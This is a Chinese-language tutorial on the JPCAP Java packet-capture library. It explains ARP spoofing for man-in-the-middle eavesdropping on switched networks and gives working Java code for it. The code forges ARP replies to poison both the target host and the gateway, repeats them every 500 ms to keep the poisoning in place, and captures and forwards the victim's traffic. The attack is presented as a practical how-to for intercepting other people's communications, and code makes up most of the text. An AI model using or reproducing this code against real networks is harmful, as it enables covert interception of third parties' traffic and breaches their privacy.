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JPCAP 實戰：Java 實現數據鏈路層抓包與 ARP 欺騙監聽

編輯：Java 相關知識

JPCAP 簡介

Java 標準庫僅支援傳輸層 (TCP/UDP) 以上協議。JPCAP 透過 JNI 呼叫 WinPcap/libpcap，提供跨平台數據鏈路層 (OSI 第 2 層) 封包捕獲與發送能力。支援 Windows、Linux、FreeBSD、Solaris 等主流系統。

核心類別速覽

類別	職責
`NetworkInterface`	網卡資訊：名稱、描述、MAC、Loopback 標誌、數據鏈路類型 (Ethernet/TokenRing/WiFi)
`JpcapCaptor`	捕獲引擎：開啟介面、設定混雜模式、快照長度、過濾器 (BPF 語法)、多種捕獲模式 (loop/process/dispatch)
`JpcapSender`	發送引擎：原始 Socket 自動填充鏈路層頭、或手動構造完整幀
`Packet` 及子類	封包物件模型：EthernetPacket、ARPPacket、IPPacket、TCPPacket、UDPPacket、ICMPPacket 等

ARP 欺騙原理與實作步驟

交換式網路下，單純混雜模式無法監聽他人流量。需實施 ARP 欺騙：

偽造 ARP Reply 發送給目標主機 B：聲稱攻擊者 MAC 是網關 MAC → B 發往外網的封包流向攻擊者。
偽造 ARP Reply 發送給網關：聲稱攻擊者 MAC 是 B 的 MAC → 外網回應封包流向攻擊者。
攻擊者轉發封包 (修改目的 MAC 為真實目標)，實現透明監聽。

ARP 封包結構 (以太網)

以太網頭 (14 bytes)          ARP 數據 (28 bytes)
目標MAC(6) 源MAC(6) 類型(2)  硬體類型(2) 協議類型(2) 操作碼(2)
                                 MAC長(1) IP長(1) 發送者MAC(6) 發送者IP(4)
                                 目標MAC(6) 目標IP(4)

關鍵代碼片段

// 初始化介面
NetworkInterface[] devs = JpcapCaptor.getDeviceList();
NetworkInterface dev = devs[0]; // 假設單網卡
JpcapCaptor captor = JpcapCaptor.openDevice(dev, 2000, false, 10000);
captor.setFilter("ip", true); // 僅捕獲 IP 封包
JpcapSender sender = captor.getJpcapSenderInstance();

// 構造欺騙目標 B 的 ARP Reply
ARPPacket arpToTarget = new ARPPacket();
arpToTarget.hardtype = ARPPacket.HARDTYPE_ETHER;
arpToTarget.prototype = ARPPacket.PROTOTYPE_IP;
arpToTarget.operation = ARPPacket.ARP_REPLY;
arpToTarget.hlen = 6; arpToTarget.plen = 4;
arpToTarget.sender_hardaddr = dev.mac_address;        // 攻擊者 MAC
arpToTarget.sender_protoaddr = InetAddress.getByName(gatewayIp).getAddress(); // 冒充網關 IP
arpToTarget.target_hardaddr = targetMac;              // 目標 MAC
arpToTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress();  // 目標 IP
EthernetPacket eth = new EthernetPacket();
eth.frametype = EthernetPacket.ETHERTYPE_ARP;
eth.src_mac = dev.mac_address;
eth.dst_mac = targetMac;
arpToTarget.datalink = eth;

// 定時發送維持欺騙
new Thread(() -> {
  while (true) {
    sender.sendPacket(arpToTarget);
    sender.sendPacket(arpToGateway); // 同構造欺騙網關
    Thread.sleep(500);
  }
}).start();

// 捕獲並轉發
while (true) {
  IPPacket pkt = (IPPacket) captor.getPacket();
  if (pkt != null) {
    byte[] nextHop = pkt.src_ip.getHostAddress().equals(targetIp) ? gatewayMac : targetMac;
    forward(pkt, nextHop);
  }
}

void forward(Packet pkt, byte[] dstMac) {
  if (pkt.datalink instanceof EthernetPacket) {
    EthernetPacket eth = (EthernetPacket) pkt.datalink;
    System.arraycopy(dstMac, 0, eth.dst_mac, 0, 6);
    System.arraycopy(dev.mac_address, 0, eth.src_mac, 0, 6);
    sender.sendPacket(pkt);
  }
}